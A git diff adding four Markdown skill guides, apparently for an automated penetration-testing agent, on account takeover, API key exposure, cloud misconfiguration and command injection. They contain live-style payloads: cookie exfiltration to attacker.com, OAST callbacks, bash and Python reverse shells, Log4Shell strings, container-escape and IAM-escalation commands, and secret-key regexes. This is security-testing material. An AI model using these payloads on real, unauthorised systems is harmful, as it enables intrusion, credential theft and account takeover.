diff --git a/strix/skills/vulnerabilities/account_takeover.md b/strix/skills/vulnerabilities/account_takeover.md
new file mode 100644
index 00000000..b89571b0
--- /dev/null
+++ b/strix/skills/vulnerabilities/account_takeover.md
@@ -0,0 +1,243 @@
+---
+name: account-takeover
+description: Account takeover techniques combining auth flaws, token abuse, and multi-step attack chains
+---
+
+# Account Takeover (ATO)
+
+Account takeover chains multiple vulnerabilities to gain persistent access to another user's account. Standalone bugs (weak reset tokens, XSS, IDOR in email-change) often only achieve ATO when combined. Understanding the full ATO chain is what separates high-severity reports from informational findings.
+
+## Attack Surface
+
+**Primary Vectors**
+- Password reset flows (token leakage, guessable tokens, host header injection)
+- Email/username change flows (missing re-auth, IDOR)
+- OAuth/SSO flows (redirect_uri bypass, state fixation, token leakage)
+- Session management (fixation, weak tokens, no expiry)
+- Credential-based (brute force, credential stuffing, password spraying)
+- XSS → session/token exfiltration
+- MFA bypass (token reuse, race conditions, backup codes)
+- IDOR on account settings
+
+## Attack Chains
+
+### Password Reset Poisoning (Host Header)
+
+```
+POST /forgot-password
+Host: attacker.com ← injected
+
+# Server generates: https://attacker.com/reset?token=SECRET_TOKEN
+# Sends email to victim with attacker's domain
+# Victim clicks → attacker receives token → ATO
+```
+
+Variants:
+```
+Host: legit.com
+X-Forwarded-Host: attacker.com ← some apps use this for URL construction
+
+Host: legit.com:@attacker.com ← credential confusion
+Host: legit.com@attacker.com
+```
+
+### Password Reset Token Leakage
+
+**Referer header leakage**
+```
+Reset link: https://app.com/reset?token=SECRET
+User clicks link, page has third-party scripts
+Referer: https://app.com/reset?token=SECRET sent to third party
+```
+
+**Frontend logging**
+```javascript
+// Token visible in browser history, analytics, error logs
+window.analytics.track('page_view', {url: window.location.href});
+// If reset page URL contains token → token in analytics
+```
+
+**Predictable tokens**
+```
+# Sequential: token=1337, token=1338
+# Timestamp-based: token=1620000000
+# PRNG without proper seeding: guessable from known outputs
+```
+
+### Email Change Without Re-authentication
+
+```
+# Attacker controls victim session (via XSS or stolen cookie)
+# Or: CSRF on email-change endpoint
+POST /account/email
+new_email=attacker@evil.com
+# No password confirmation required → ATO via new email → password reset
+```
+
+### Email Change IDOR
+
+```
+POST /account/email
+{"user_id": VICTIM_ID, "email": "attacker@evil.com"}
+# Missing authorization check → change any user's email
+```
+
+### Username/Email Enumeration + Credential Stuffing
+
+```
+# Enumerate valid accounts via timing or error differences
+POST /login: "User not found" vs "Invalid password" → confirms account existence
+POST /reset: "Email sent" vs "Email not registered"
+
+# Credential stuffing: use leaked DB credentials
+# Password spraying: common passwords against enumerated accounts
+```
+
+### OAuth Token Leakage
+
+```
+# state parameter not validated
+# redirect_uri bypass:
+/oauth/authorize?redirect_uri=https://app.com/callback/../../../logout
+/oauth/authorize?redirect_uri=https://app.com.attacker.com/callback
+/oauth/authorize?redirect_uri=https://app.com/callback%20https://attacker.com
+
+# Token in Referer:
+https://app.com/callback?code=AUTH_CODE
+User clicks link to external site → Referer leaks code
+```
+
+### Session Fixation
+
+```
+# 1. Attacker gets a pre-auth session: GET /login → Set-Cookie: session=FIXED_VALUE
+# 2. Attacker forces victim to use this session ID (via XSS, direct link with cookie)
+# 3. Victim logs in → session elevated to authenticated
+# 4. Attacker uses FIXED_VALUE session → accesses victim account
+```
+
+### XSS → ATO Chain
+
+```javascript
+// 1. Find stored/reflected XSS
+// 2. Exfiltrate session cookie:
+fetch('//attacker.com/?c=' + document.cookie)
+// 3. Or steal CSRF token and change email:
+fetch('/account/email', {
+ method: 'POST',
+ headers: {'X-CSRF-Token': document.querySelector('[name=csrf]').value},
+ body: 'email=attacker@evil.com'
+})
+// 4. Use stolen session or new email for password reset
+```
+
+### 2FA/MFA Bypass for ATO
+
+```
+# OTP brute force (if no rate limiting)
+# OTP reuse (if no single-use enforcement)
+# Response manipulation: {"mfa_required": false}
+# Skip MFA step: jump directly to /dashboard after /login (before /mfa)
+# Backup code abuse: generate/steal backup codes
+# SIM swap / SMS hijacking (social engineering telecom)
+```
+
+### Account Pre-hijacking
+
+Before victim creates account:
+```
+# 1. Register with victim's email (social account merge attack)
+# - If victim later logs in via OAuth with same email, may merge with attacker account
+# 2. Unexpired reset token: request reset for victim's email before they register
+# 3. Classic pre-hijack: register account, attacker sets password, victim "registers" via SSO
+```
+
+### Support/Admin ATO
+
+```
+# Social engineering support to change email
+# Impersonating victim via email spoofing to support team
+# IDV (identity verification) bypass via public info (DOB, last 4 SSN)
+```
+
+## Bypass Techniques
+
+**Token Validation Bypass**
+```
+# Submit token with extra padding
+token=VALID_TOKEN%00
+token=VALID_TOKEN%20
+
+# Case insensitive comparison
+token=VALID_TOKEN → VALID_token
+
+# Partial matching
+token=VALID (if only first N chars checked)
+```
+
+**Rate Limit Bypass for OTP Brute Force**
+```
+# IP rotation
+# X-Forwarded-For: [changing IPs]
+# Parallel requests (race condition)
+# Try all OTPs in one request if batching possible
+```
+
+**Email Normalization Bypass**
+
+```
+# App stores attacker+tag@gmail.com
+# Victim uses attacker@gmail.com
+# Some apps normalize → same account
+victim@gmail.com vs victim+anything@gmail.com
+victim@GMAIL.COM vs victim@gmail.com
+victim@googlemail.com vs victim@gmail.com
+```
+
+## Testing Methodology
+
+1. **Map auth flows** — Login, register, reset, email-change, OAuth, MFA, account merge
+2. **Test reset token** — Entropy, expiry, single-use, host header injection, Referer leakage
+3. **Test email change** — Re-auth required? IDOR? CSRF protected?
+4. **Test session management** — Fixation, expiry after logout, token predictability
+5. **Test OAuth** — state validation, redirect_uri variations, token in URL
+6. **Test MFA** — Rate limits on OTP, reuse, response manipulation
+7. **Enumerate accounts** — Error messages, timing, side channels
+8. **Check pre-hijacking** — Register with victim email before they do
+
+## Validation
+
+1. Demonstrate login as victim account without knowing their password
+2. Show which specific vulnerability was exploited in the chain
+3. Provide step-by-step reproduction with victim account credentials/data visible
+4. Show minimal-scope impact (profile data visible) without accessing sensitive personal info unnecessarily
+
+## False Positives
+
+- Token leakage to first-party analytics only
+- Rate limiting prevents brute force
+- Email change requires current password confirmation
+- Reset token bound to IP/User-Agent
+- OTP has proper single-use and expiry enforcement
+
+## Impact
+
+- Full account takeover → access to all user data
+- Privilege escalation if admin account targeted
+- Financial loss if payment methods accessible
+- Regulatory impact (GDPR) via PII exposure
+
+## Pro Tips
+
+1. Always escalate from info-gathering to actual account access to maximize report severity
+2. Password reset poisoning requires the victim to click the link — add social engineering context
+3. Pre-hijacking attacks require registering before victim — test on beta/new signup flows
+4. Combine email-change IDOR + password reset = ATO without needing session
+5. OAuth `state` parameter missing is usually an ATO — build the chain to show it
+6. Check password reset tokens from old emails (support accounts often have expired tokens stored)
+7. Email normalization attacks work best on large providers (Gmail, Outlook)
+8. Response manipulation for MFA (`success: true`) is often the fastest bypass
+
+## Summary
+
+ATO is about chaining weak primitives into full access. Any single auth weakness is a stepping stone: enumerate → take over email/username → trigger reset → access account. Focus on the chain, not individual bugs, and demonstrate the final access to maximize impact.
diff --git a/strix/skills/vulnerabilities/api_key_exposure.md b/strix/skills/vulnerabilities/api_key_exposure.md
new file mode 100644
index 00000000..c3273c41
--- /dev/null
+++ b/strix/skills/vulnerabilities/api_key_exposure.md
@@ -0,0 +1,229 @@
+---
+name: api-key-exposure
+description: API key and secret exposure detection — finding leaked credentials in JS, repos, responses, and cloud metadata
+---
+
+# API Key / Secret Exposure
+
+API keys, tokens, and secrets found in client-side code, public repositories, error messages, or misconfigured cloud services represent immediate, high-severity findings in bug bounty. The impact depends on what the key controls — AWS keys can mean full account compromise.
+
+## Where Secrets Hide
+
+### JavaScript Files
+
+```javascript
+// Hardcoded in source:
+const API_KEY = "sk-ant-api03-xxxxx";
+var config = { apiKey: "AIzaSyXXXXXXXXXXX" };
+window._env = { STRIPE_KEY: "pk_live_XXXXX" };
+axios.defaults.headers['Authorization'] = 'Bearer eyJXXXX';
+
+// In minified JS: search for patterns
+// In source maps (.js.map): original source with comments
+```
+
+### Git Repositories
+
+```bash
+# In current code
+grep -r "api_key\|apikey\|secret\|password\|token\|bearer" --include="*.js,*.py,*.env,*.json"
+
+# In git history (deleted files still in history)
+git log --all --full-history -- "*.env"
+git show COMMIT_HASH:path/to/file
+truffleHog --regex --entropy=True /path/to/repo
+gitleaks detect --source . --verbose
+```
+
+### Configuration Files Exposed on Web
+
+```
+# Common paths to check:
+/.env
+/.env.local
+/.env.production
+/.env.backup
+/config.php
+/config.yml
+/config.json
+/appsettings.json
+/web.config
+/application.properties
+/application.yml
+/docker-compose.yml
+/Dockerfile
+/.aws/credentials
+/.ssh/id_rsa
+/wp-config.php
+/wp-config.php.bak
+/settings.py
+/local_settings.py
+/database.yml
+/secrets.yml
+```
+
+### HTTP Responses
+
+```
+# Error responses leaking env vars or config:
+HTTP 500: {"error": "...", "env": {"DATABASE_URL": "postgres://user:pass@host/db"}}
+
+# Debug mode enabled:
+Django debug=True → full settings in error page
+Laravel APP_DEBUG=true → stack trace with env vars
+
+# API responses:
+{"user": {"stripe_secret_key": "sk_live_XXXX"}} # Accidental field inclusion
+X-Debug-Token response header → Symfony profiler
+
+# OAuth token in response body when should be code-only
+# JWT payload containing internal config
+```
+
+### Cloud Metadata Services
+
+```bash
+# AWS IMDS (from SSRF or compromised server)
+http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
+→ AccessKeyId, SecretAccessKey, Token
+
+# GCP
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+→ Bearer token for GCP APIs
+
+# Azure
+http://169.254.169.254/metadata/identity/oauth2/token
+→ MSI token
+
+# Kubernetes secrets
+/var/run/secrets/kubernetes.io/serviceaccount/token
+```
+
+### Browser Storage
+
+```javascript
+// Check in DevTools console:
+localStorage.getItem('token')
+sessionStorage.getItem('apiKey')
+document.cookie // Auth cookies
+indexedDB // May contain cached credentials
+```
+
+## High-Value Key Types
+
+| Key Pattern | Service | Impact |
+|-------------|---------|--------|
+| `AKIA[A-Z0-9]{16}` | AWS Access Key | Full AWS account access |
+| `sk-ant-api03-` | Anthropic | LLM API access, billing |
+| `sk-[a-zA-Z0-9]{48}` | OpenAI | AI API, billing |
+| `AIzaSy[0-9A-Za-z-_]{33}` | Google API | Maps, GCP, Firebase |
+| `gh[pousr]_[A-Za-z0-9_]{36,}` | GitHub | Repository access, org |
+| `glpat-[0-9a-zA-Z-]{20}` | GitLab | Code, CI/CD |
+| `sk_live_[0-9a-zA-Z]{24}` | Stripe | Payment processing |
+| `rk_live_[0-9a-zA-Z]{24}` | Stripe Restricted | Limited payment access |
+| `SG\.[a-zA-Z0-9]{22}\.[a-zA-Z0-9]{43}` | SendGrid | Email sending |
+| `xoxb-[0-9]{11}-[0-9]{11}-[a-zA-Z0-9]{24}` | Slack Bot | Slack workspace access |
+| `[0-9]{15,16}:[a-zA-Z0-9_-]{35}` | Telegram Bot | Bot control |
+| `EAACEdEose0cBA[0-9A-Za-z]+` | Facebook | FB/Instagram access |
+| `[A-Za-z0-9]{8}-[A-Za-z0-9]{4}-[A-Za-z0-9]{4}` | Various UUIDs | Context-dependent |
+
+## Verification (Without Causing Harm)
+
+```bash
+# AWS key - check identity only (read-only, no damage)
+aws sts get-caller-identity --access-key-id AKIAXXXX --secret-access-key XXXX
+# Shows: Account, UserId, ARN → proves validity
+
+# GitHub token
+curl -H "Authorization: token ghp_XXXX" https://api.github.com/user
+# Shows: username, email, org memberships
+
+# Stripe key (test mode only)
+curl https://api.stripe.com/v1/balance -u sk_test_XXXX:
+# Shows: available balance → proves validity
+
+# Google API key
+curl "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=TOKEN"
+
+# Slack token
+curl -H "Authorization: Bearer xoxb-XXXX" https://slack.com/api/auth.test
+```
+
+**IMPORTANT**: Verify existence and scope only — do NOT:
+- Make purchases, send emails, or take actions
+- Access production data beyond what proves the key works
+- Use keys to access systems beyond demonstrating the finding
+
+## OSINT / Automated Secret Scanning
+
+```bash
+# TruffleHog (supports many sources)
+trufflehog git https://github.com/target/repo
+trufflehog github --org targetorg --token GITHUB_TOKEN
+trufflehog s3 --bucket target-bucket
+
+# Gitleaks
+gitleaks detect --source /path/to/repo -v
+gitleaks detect --source /path/to/repo --report-path leaks.json
+
+# Git-secrets
+git secrets --scan
+
+# GitHub Advanced Search (manual)
+# site:github.com "target.com" "api_key"
+# site:github.com "target.com" "password"
+# Push protection alerts in target's public repos
+
+# Google Dorks
+site:github.com "target.com" password
+site:gitlab.com "target.com" secret_key
+site:pastebin.com "target.com" api
+```
+
+## Testing Methodology
+
+1. **Spider all JS files** — katana/gospider → grep for key patterns
+2. **Check common config paths** — ffuf with config-file wordlist
+3. **Analyze git history** — Clone public repos, run truffleHog
+4. **Test error responses** — Trigger 500 errors, check for env leakage
+5. **Check localStorage/cookies** — DevTools inspection
+6. **SSRF to metadata** — If SSRF exists, fetch cloud metadata
+7. **Source maps** — Check for `.js.map` files with original commented source
+8. **Third-party integrations** — Check requests to analytics, CDN, payment with exposed keys
+
+## Validation
+
+1. Identify the exact location where the key was found (URL, file, commit hash)
+2. Verify the key is valid using a read-only API call (as above)
+3. Determine the scope/permissions of the key
+4. Document the potential impact (what the attacker could do with it)
+5. Report and recommend immediate rotation
+
+## False Positives
+
+- Test/sandbox keys (not production) — verify environment
+- Already-rotated keys (verify they're invalid before reporting)
+- Public keys (asymmetric crypto) — not secret by design
+- API keys for public/free-tier services with no sensitive access
+
+## Impact
+
+- AWS keys: full account compromise, data theft, cryptomining, denial of service
+- Payment keys: financial fraud, customer data theft
+- OAuth tokens: impersonation, account access across integrated services
+- CI/CD tokens: supply chain compromise, code modification
+
+## Pro Tips
+
+1. AWS key finding = automatic critical if it has any IAM permissions — test with `sts:GetCallerIdentity` first
+2. Source maps (`.js.map`) are the best-kept secret for exposed source code — always check
+3. GitHub secret scanning for public repos is automated — focus on private repos and git history
+4. `Authorization: Bearer` tokens in XHR requests during normal browsing are often JWTs — decode them
+5. Check all third-party script domains in network tab — keys passed as URL params to analytics
+6. `.env` exposure + RCE = double report or combine for critical severity
+7. Commit history is permanent until force-pushed — old deleted secrets may still be there
+8. Many companies have bug bounty bonuses for CI/CD or cloud key findings
+
+## Summary
+
+Secret exposure is often the highest-impact finding relative to effort. Scan JS files, check common config paths, mine git history, and verify before reporting. Rotate immediately on confirmation — the window between discovery and exploitation can be minutes.
diff --git a/strix/skills/vulnerabilities/cloud_misconfig.md b/strix/skills/vulnerabilities/cloud_misconfig.md
new file mode 100644
index 00000000..28d2f94d
--- /dev/null
+++ b/strix/skills/vulnerabilities/cloud_misconfig.md
@@ -0,0 +1,295 @@
+---
+name: cloud-misconfig
+description: Cloud misconfiguration testing — IAM privilege escalation, exposed metadata, CI/CD secrets, and container security
+---
+
+# Cloud Misconfiguration
+
+Cloud environments present a distinct attack surface from traditional web vulnerabilities. Misconfigured IAM policies, exposed metadata services, insecure CI/CD pipelines, and container escape paths can give attackers access to an entire cloud account. This complements the s3_bucket_misconfig.md skill.
+
+## AWS Misconfigurations
+
+### IMDSv1 Exposure via SSRF
+
+```bash
+# If SSRF exists on EC2/ECS-hosted app:
+http://169.254.169.254/latest/meta-data/
+http://169.254.169.254/latest/meta-data/iam/security-credentials/
+http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
+# Returns: AccessKeyId, SecretAccessKey, Token (temporary)
+
+# User data (often contains secrets):
+http://169.254.169.254/latest/user-data
+
+# ECS task credentials:
+http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
+```
+
+### IAM Privilege Escalation Paths
+
+```bash
+# Check permissions:
+aws iam get-user
+aws iam list-attached-user-policies --user-name USERNAME
+aws iam get-policy-version --policy-arn ARN --version-id v1
+
+# Escalation via Lambda:
+# If you have lambda:UpdateFunctionCode → overwrite existing Lambda function
+aws lambda update-function-code --function-name TARGET_FUNCTION \
+ --zip-file fileb://evil-lambda.zip
+
+# Escalation via EC2:
+# If you have ec2:RunInstances + iam:PassRole → run EC2 with privileged role
+aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
+ --iam-instance-profile Name=ADMIN_ROLE --user-data file://steal-keys.sh
+
+# Escalation via CodeBuild:
+# codebuild:StartBuild + iam:PassRole → build job with elevated role
+
+# Read secrets from SSM:
+aws ssm get-parameter --name /prod/db/password --with-decryption
+aws ssm get-parameters-by-path --path /prod/ --with-decryption --recursive
+
+# Read Secrets Manager:
+aws secretsmanager list-secrets
+aws secretsmanager get-secret-value --secret-id prod/api-keys
+```
+
+### Public Lambda Functions / API Gateway
+
+```bash
+# Find exposed Lambda function URLs:
+curl https://XXXXXXXX.lambda-url.us-east-1.on.aws/
+
+# API Gateway endpoints:
+# Check Swagger/OpenAPI exposed at /swagger, /api-docs
+# x-amazon-apigateway-auth: NONE = no auth required
+
+# Lambda environment variables (from SSRF to metadata):
+http://169.254.169.254/latest/meta-data/...
+# Then use credentials to read Lambda env vars:
+aws lambda get-function-configuration --function-name FUNCTION_NAME
+```
+
+### CloudFormation / Terraform Exposure
+
+```bash
+# CloudFormation stacks may contain secrets in Parameters/Outputs:
+aws cloudformation describe-stacks
+aws cloudformation get-template --stack-name STACK_NAME
+
+# Terraform state files (often in S3):
+s3://target-terraform/terraform.tfstate
+# Contains: resource configs, sometimes plaintext secrets, database URLs
+
+# Check for public Terraform state:
+aws s3 ls s3://target-terraform/ --no-sign-request
+aws s3 cp s3://target-terraform/terraform.tfstate /tmp/ --no-sign-request
+```
+
+## GCP Misconfigurations
+
+### Metadata Service (SSRF)
+
+```bash
+# From SSRF on GCP:
+http://metadata.google.internal/computeMetadata/v1/
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+http://metadata.google.internal/computeMetadata/v1/project/project-id
+http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env # GKE
+# Header required: Metadata-Flavor: Google
+```
+
+### GCP IAM Misconfiguration
+
+```bash
+# Overly permissive service account:
+# roles/editor or roles/owner on default service account
+
+# Check SA permissions:
+gcloud iam service-accounts list
+gcloud projects get-iam-policy PROJECT_ID
+
+# Workload Identity misconfiguration → any pod can impersonate SA
+# Check: metadata.google.internal accessible from all pods
+```
+
+## Azure Misconfigurations
+
+### IMDS and MSI
+
+```bash
+# From SSRF on Azure:
+http://169.254.169.254/metadata/instance?api-version=2021-02-01
+# Header: Metadata: true
+
+# MSI token:
+http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
+
+# Use token to access Azure management API:
+curl -H "Authorization: Bearer TOKEN" \
+ https://management.azure.com/subscriptions?api-version=2020-01-01
+```
+
+### Azure Storage SAS Token Abuse
+
+```bash
+# SAS (Shared Access Signature) tokens in URLs:
+https://account.blob.core.windows.net/container/file?sv=2020-08-04&ss=b&srt=co&sp=rwdlacupitfx&se=2024-12-31...
+
+# If SAS token leaked (in JS, logs, error messages):
+# Use it to access/modify storage beyond intended scope
+# Test: can SAS token access other containers? Other operations?
+
+# Overly permissive SAS: sp=rwdlacupitfx = all permissions including write/delete
+```
+
+## Kubernetes Misconfigurations
+
+### Service Account Token Abuse
+
+```bash
+# Default token mounted at:
+/var/run/secrets/kubernetes.io/serviceaccount/token
+
+# From SSRF or container access:
+TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
+curl -H "Authorization: Bearer $TOKEN" \
+ https://kubernetes.default.svc/api/v1/namespaces/default/secrets
+
+# List all pods:
+curl -H "Authorization: Bearer $TOKEN" \
+ https://kubernetes.default.svc/api/v1/pods
+
+# Read secrets:
+curl -H "Authorization: Bearer $TOKEN" \
+ https://kubernetes.default.svc/api/v1/namespaces/kube-system/secrets
+```
+
+### RBAC Misconfigurations
+
+```bash
+# Dangerous cluster roles:
+# system:masters group members → cluster admin
+# wildcard verbs: ["*"] or resources: ["*"]
+# get secrets → can read all secrets in namespace
+
+# Check your permissions:
+kubectl auth can-i --list
+kubectl auth can-i get secrets --namespace kube-system
+kubectl auth can-i create pods
+```
+
+### Exposed Kubernetes Dashboard / API
+
+```bash
+# Exposed dashboard:
+https://k8s-dashboard.target.com
+http://target.com:8001 # kubectl proxy
+
+# Exposed API server:
+https://target.com:6443 # Direct API
+# Test: curl https://target.com:6443/api/v1/namespaces --insecure
+
+# Kubelet on 10255 (read-only, deprecated):
+http://node-ip:10255/pods
+http://node-ip:10255/runningpods
+
+# Kubelet on 10250 (authenticated):
+https://node-ip:10250/exec/namespace/pod/container
+```
+
+## CI/CD Misconfiguration
+
+### GitHub Actions Secrets
+
+```yaml
+# Secrets in env vars:
+env:
+ AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
+
+# Can be leaked via:
+# Logging: echo "key=${{ secrets.SECRET }}"
+# Artifact upload containing env vars
+# Debug mode: ACTIONS_STEP_DEBUG=true logs all env vars
+# If PR from fork can access secrets (misconfigured trigger)
+```
+
+### GitLab CI Exposed Variables
+
+```bash
+# Unmasked variables in job logs
+# Variables accessible to fork/external pipelines
+# artifact: expose secrets in downloadable artifacts
+
+# Check: does the pipeline run for external MRs?
+# Protected variables: only run on protected branches
+```
+
+### Jenkins Misconfiguration
+
+```bash
+# Script console (RCE if accessible):
+https://jenkins.target.com/script
+# POST: script=println "id".execute().text
+
+# Credentials endpoint:
+https://jenkins.target.com/credentials/
+https://jenkins.target.com/credential-store/
+
+# API with anon access:
+https://jenkins.target.com/api/json
+https://jenkins.target.com/job/JOB_NAME/api/json
+```
+
+## Container Escape Paths
+
+```bash
+# Privileged container:
+docker run --privileged → mount host filesystem
+# Escape: mount host disk and write to /etc/cron.d
+
+# hostPath volume mounted:
+# If /host is mounted → access host filesystem
+ls /host/etc/passwd
+
+# docker.sock mounted:
+# /var/run/docker.sock → create privileged container on host
+curl --unix-socket /var/run/docker.sock http://localhost/containers/json
+curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \
+ -d '{"Image":"ubuntu","Binds":["/:/host"],"Privileged":true}'
+
+# CAP_SYS_ADMIN:
+# Mount host filesystem via cgroups notification_on_release
+```
+
+## Testing Methodology
+
+1. **SSRF → Metadata** — Always try cloud metadata endpoints when SSRF found
+2. **Leaked credentials** — Check JS, config files, git history for cloud credentials
+3. **IAM permission enumeration** — With any AWS key, enumerate all permissions
+4. **Storage enumeration** — S3/GCS/Azure blob scanning
+5. **Kubernetes** — SA token abuse, RBAC review, exposed APIs
+6. **CI/CD** — Check pipeline configs for secret exposure, external PR access
+7. **Container** — Check if running privileged, docker.sock mounted, hostPath
+
+## Validation
+
+1. For SSRF → metadata: show the IAM credentials returned
+2. For IAM escalation: show the escalation path and resulting access level
+3. For exposed storage: list bucket contents or download non-sensitive file
+4. Use `sts:GetCallerIdentity` to confirm AWS credential scope
+
+## Pro Tips
+
+1. IMDSv2 requires a PUT request for token — check if SSRF can make PUT requests
+2. AWS credentials from metadata are temporary (STS) — they expire in 6h
+3. `pacu` is AWS exploitation framework for post-IAM-access exploitation
+4. Terraform state in S3 is the most common cloud secret leakage vector
+5. `enumerate-iam` automates AWS permission enumeration from compromised credentials
+6. Check `iam:PassRole` — it's the most common privilege escalation primitive in AWS
+7. Kubernetes default service account often has excessive permissions in managed clusters
+
+## Summary
+
+Cloud misconfigurations compound traditional vulnerabilities: SSRF becomes credential theft, leaked IAM keys become full account compromise, and exposed CI/CD pipelines become supply chain attacks. Test cloud metadata endpoints whenever SSRF exists, enumerate storage buckets, and review IAM policies for privilege escalation paths.
diff --git a/strix/skills/vulnerabilities/command_injection.md b/strix/skills/vulnerabilities/command_injection.md
new file mode 100644
index 00000000..93ba7a9f
--- /dev/null
+++ b/strix/skills/vulnerabilities/command_injection.md
@@ -0,0 +1,245 @@
+---
+name: command-injection
+description: OS command injection testing covering all injection contexts, bypass techniques, and blind exfiltration
+---
+
+# Command Injection
+
+OS command injection occurs when user-controlled input is passed to a shell interpreter without proper sanitization. Even single characters (`;`, `|`, `` ` ``) can pivot a web request into full RCE. Modern apps hide injection in non-obvious places: image processors, archive handlers, DNS lookups, and CI/CD pipelines.
+
+## Attack Surface
+
+**Direct Execution Sinks**
+- `system()`, `exec()`, `popen()`, `shell_exec()`, `passthru()` (PHP)
+- `subprocess.run(shell=True)`, `os.system()`, `os.popen()` (Python)
+- `Runtime.exec()` with string concat (Java), `child_process.exec()` (Node)
+- `backtick operators`, `$()` expansion in shell scripts
+
+**Indirect / Feature-Level**
+- Image/video processing: ImageMagick, ffmpeg, exiftool
+- Archive creation/extraction: zip, tar, 7z with filenames
+- PDF generation: wkhtmltopdf, phantomjs, puppeteer CLI wrappers
+- Network tools: ping, nslookup, dig, curl, wget invoked server-side
+- Git operations: `git clone`, `git archive` with attacker-controlled URLs
+- Log shipping and monitoring agent configs
+- CI/CD pipelines parsing user data in build steps
+
+**Input Vectors**
+- Filename, username, email, hostname, IP address, domain fields
+- File contents (config files, uploaded scripts, CSV columns)
+- HTTP headers used in shell scripts (User-Agent, Referer, X-Forwarded-For)
+- URL path segments used in file operations
+
+## Injection Operators
+
+| Operator | Behavior | Example |
+|----------|----------|---------|
+| `;` | Sequential execution | `ping host; id` |
+| `&&` | Execute if previous succeeds | `ping host && id` |
+| `\|\|` | Execute if previous fails | `ping FAIL \|\| id` |
+| `\|` | Pipe output | `echo x \| id` |
+| `` ` `` | Command substitution (bash) | `` ping `id` `` |
+| `$()` | Command substitution | `ping $(id)` |
+| `\n` / `%0a` | Newline injection in args | `ping -c1\nid` |
+| `>` / `>>` | Output redirection | `id > /tmp/x` |
+
+## Key Vulnerabilities
+
+### In-Band (Output Reflected)
+
+Direct output in response body or error messages:
+```
+; cat /etc/passwd
+| whoami
+$(id)
+`uname -a`
+& net user (Windows)
+```
+
+### Blind Command Injection
+
+No output in response — use timing or out-of-band:
+
+**Timing**
+```
+; sleep 10
+& ping -c 10 127.0.0.1
+; timeout /t 10 (Windows)
+```
+
+**DNS/HTTP exfiltration (OAST)**
+```
+; curl http://BURP_COLLABORATOR/?x=$(whoami|base64)
+; nslookup $(cat /etc/hostname).attacker.tld
+; wget -q -O- http://attacker/$(id|base64 -w0)
+```
+
+**File write**
+```
+; id > /var/www/html/output.txt
+; whoami >> /tmp/x && curl http://attacker/$(cat /tmp/x|base64)
+```
+
+### Argument Injection
+
+When the command is fixed but arguments are user-controlled:
+```
+# curl --upload-file attacker.php http://internal/
+# git clone git://attacker --upload-pack=id
+# find . -name USER_INPUT -exec id \;
+# ImageMagick: "| id #" as filename (ImageMagick CVE-2016-3714)
+# ffmpeg: input file as -i http://attacker/ssrf.m3u8
+```
+
+### Windows-Specific
+
+```
+& whoami
+| net user
+%0a dir
+cmd /c whoami
+powershell -c "whoami"
+```
+
+## Bypass Techniques
+
+**Whitespace Alternatives**
+```bash
+{id} # brace expansion
+$IFS # internal field separator
+${IFS}
+X=$'\x20'&&id # hex space
+cat /var/www/html/$(date +%s).txt
+
+# Reverse shell via bash
+bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'
+
+# Reverse shell via python
+python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker",4444));[os.dup2(s.fileno(),x) for x in(0,1,2)];subprocess.run(["/bin/bash"])'
+```
+
+## Special Cases
+
+### ImageMagick (CVE-2016-3714 / ImageTragick)
+```
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://example.com/|id > /tmp/exec)'
+pop graphic-context
+```
+
+### PHP Mail Function
+```php
+// mail($to, $subject, $body, $headers, $extra_params)
+// extra_params = "-f attacker@x.tld -be ${run{/usr/bin/id}{>/tmp/x}}"
+```
+
+### Log4Shell (CVE-2021-44228)
+```
+${jndi:ldap://attacker.tld/a}
+${${lower:j}ndi:ldap://attacker/a}
+${${::-j}${::-n}${::-d}${::-i}:ldap://attacker/a}
+```
+
+## Testing Methodology
+
+1. **Map execution sinks** — Find every feature that invokes system tools (image ops, archives, network checks, export functions)
+2. **Inject separators** — Test `;`, `|`, `&&`, `||`, newlines in every input field
+3. **Timing oracle** — `sleep 5` / `ping -c 5 127.0.0.1` to confirm blind injection
+4. **OAST exfiltration** — DNS/HTTP callback with `whoami` or hostname
+5. **Enumerate context** — User, groups, env vars, filesystem layout
+6. **Argument injection** — When command is fixed, test flags and special-meaning values
+7. **OS detection** — `uname -a` (Linux) vs `ver` (Windows) for platform-specific payloads
+
+## Validation
+
+1. Prove command execution with time-based oracle (reliable, repeatable delay differential)
+2. Confirm via OAST callback showing server-initiated DNS/HTTP request with data
+3. Show `id`/`whoami` output or `/etc/hostname` via OOB for identity context
+4. Stop at confirming execution — avoid file reads of sensitive data or reverse shells unless scope allows
+
+## False Positives
+
+- Time delays from network/DB/processing latency unrelated to injected sleep
+- DNS lookups for legitimate reasons
+- Shell metacharacters in inputs that are properly escaped before execution
+- Use of parameterized command execution APIs (e.g., `subprocess.run(list_form)`)
+
+## Impact
+
+- Direct RCE as web server user or container process
+- Credential/secret exfiltration from environment and config files
+- Lateral movement to internal services via network access
+- Container escape, cloud metadata access, and persistence
+
+## Pro Tips
+
+1. Try newline (`%0a`) injection first — often forgotten in blacklists targeting `;` and `|`
+2. `$IFS` beats space filters in Bash; use it liberally
+3. ImageMagick/ffmpeg features are goldmines for blind injection — read their parsers
+4. Argument injection is more reliable than operator injection in newer apps
+5. Use Burp Collaborator/interactsh for OAST in blind scenarios
+6. Glob expansion (`/???/??/id`) bypasses keyword filters without encoding
+7. When output is blocked, write to web root or cron-reachable path for async retrieval
+8. Always test Windows equivalents (`&`, `|`, `cmd /c`) on ASP.NET / IIS stacks
+
+## Summary
+
+Command injection turns string concatenation into shell access. Any framework that builds a shell command with user data is vulnerable. Test separators, use OAST for blind cases, and always check indirect sinks like image processors and archive handlers.
